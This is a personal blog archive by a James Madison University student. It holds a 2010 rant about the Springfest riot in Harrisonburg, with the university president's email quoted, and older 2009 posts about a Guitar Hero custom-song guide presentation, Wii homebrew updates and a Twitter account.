In the 48 hours since Springfest started, I have listened to more than 50 accounts of the rioting. JMU is not to blame. All the other people that come to our school to party converged on our school on this one weekend, and absolutely ruined what should have otherwise been a fantastic outdoor picnic/BBQ/party on this first weekend in spring.

Thanks a ton you jackasses. Thanks for making our school look like a piece of crap. Thanks for coming to our town to destroy, in less than a day, a reputation for 'Under Control' Partying that we have built up for many years. Thanks for causing tens of thousands of dollars of damage to our town. Thanks for leaving so much trash in our streets and yards that it will take weeks to clean up from 8 hours of so-called 'partying.'

I believe that once the riot police arrived, they should have blockaded the area and simply arrested EVERYONE on the scene. This would have allowed each and every one of those riotous idiots to rot in jail, for at least a few hours if not a day or two, to lean not to mess with my town like that, the money from all the tickets and bail would help pay for the damages they caused, and with all the community service they would have to do, (even though it may not be served here in my town where it should be) they would learn how much effort it takes to keep a town as clean as we keep ours.

Most (I admit, JMU has it's small share of inconsiderate jerks who don't care about this town) of the JMU community takes care of Harrisonburg. We live here. You wouldn't take a dump in your own pillowcase, so don't take a dump in your best friend's pillow case. Treat our town with respect. If you like partying with us, then don't destroy our house with your partying style. Your style lives in your town: Our style lives here, in Harrisonburg. WE DON'T RIOT!

You all should be ashamed of yourselves. I'm just glad my apartment and my truck were not touched by the chaos.

Chris Holt

P.S. JMU President Rose sent us the following email on Sunday after most of the smoke had settled, but before the tear gas had all evaporated.

From: JMU Police & Public Safety
Sent: Sunday, April 11, 2010 4:56:59 PM (GMT-05:00) Eastern Time (US & Canada)
Subject: Springfest, Message from President Rose 04-11-2010

Dear Students:

Let me first acknowledge that many of you did not attend springfest on Saturday. To those of you who were involved, your collective behavior was an embarrassment to your university and a discredit to our reputation. No one is opposed to some fun on a beautiful spring weekend, but public drunkenness, destruction of property, and threats to personal safety are unacceptable outcomes. Yesterday's events reflect poorly on your character and were demonstrable evidence of less than sound judgment.

As a university community, we care about our neighbors. Unfortunately, the events of this weekend do not demonstrate that concern.

To mitigate the negative consequences of these types of situations in the future, we will be conferring with students, property owners, law enforcement, including the Virginia State Police, government officials and others.

Linwood H. Rose
President

2009-06-23T17:04:00.001-07:00

TSC210 Presentation, Redux

2009-05-23T14:28:00.000-07:00

I realize that the video I uploaded to YouTube may not have been visible to everyone. So, thanks to Nanook for pointing me to Veoh.com which allows an unlimited length as long as the file is small enough. I had to sacrifice some quality, but it should still be tolerable. Check it out below or on the website:
http://www.veoh.com/browse/videos/category/educational_and_howto/watch/v18506978T68mhz4K

Watch TheGHOST Presentation in Educational & How-To | View More Free Videos Online at Veoh.com

Sorry for the problems, but it's up now so woohoo! Project complete...At last.
Chris Holt (aka Humor4Fun)

TSC210 Presentation

2009-05-02T14:06:00.000-07:00

Well, I've been looking forward to this for a while now, but here is the video of my TSC210 presentation of our Instructions Project.

Thanks to RedIon1992 for charting the song from my prof's band.
Thanks to Prof Featherstone for the music, and being willing to play his own song.

Chris Holt

Call to Action

2009-04-21T14:58:00.000-07:00

First off, I'd like to apologize for my absence the past few months. I've had an incredibly busy semester at college (17 credits, 2 jobs-1 fulltime, 1 parttime).

Second, Sorry I haven't kept the guide up to date. As I said, I've been busy, but I will have more time now that I'm quitting the fulltime job. There will be an update (very large one) for the Guide posted with the next release of TheGHOST.

Third, I am doing a presentation of the Guide (as a technical writing project for a class I have) and I have a request to make. My teacher is in a band (really awkward I gotta say), and I wanted to take some of his songs and during the presentation put them into a GH3 disk and then have my prof play them (and most likely fail). I plan on recording a video of the presentation for purposes of potential hilarity.

I am requesting help getting the songs charted. My professor has provided me with the song of his choice (but I think it is qualified for Weaksauce) found Download Here. That file includes the mp3 and some guitar tabs (he made them, I take no responsibilty for their quality.) Also, other songs from his band can be found on Myspace Page Here. I think a better choice would be the song "BTYB".

My group is doing this presentation in 10 days, and as such, I would need the songs/charts by Wednesday April 29th (sooner is always better). All previous attempts at a charity request have been denied, so I am offering a slot on the Beta team for the next release.

If you chart one of the songs for me, we (TeamGHOST) will include you in the testing phase of the next release. Major features to include Project Saving/Loading. If you are interested, or would simply like to lend a hand, Please do. I am welcoming all submissions. However depending on the quantity of replies, I may have to limit the number of Beta test slots given out. (we'll see, but I guarantee someone will get it).

So, Chart away and send me an email once you've completed one (or more) songs. I want to get a variety of all of his songs, but at lease one. holtcm01 at gmail.com

Thanks.
Humor4Fun

WiiUpgrade

2009-04-01T20:15:00.001-07:00

I believe it may finally be time to upgrade the system menu on my Wii. I have been running version 3.2U since it's release over a year ago. I never updated when the infamous IOS37 was released, and since then I've been worried that upgrading would be a bit to dangerous and I would either end up bricking my Wii from backups, or not be able to play all those custom Guitar Hero games that I've cooked up.

With the release of the new USBLoader software from Waninkoko, I feel that it may definately be worth updating my Wii to be able to make use of this amazing software. I am still afraid of losing the ability to play Customs.

Perhaps in a few weeks I'll look into updating, if there is still an app that does it safely.

Humor4Fun

Twitter say what?

2009-03-28T19:13:00.000-07:00

I just remembered that I created a Twitter account a few months ago. Feel free to follow me: Humor4Fun

-Humor4Fun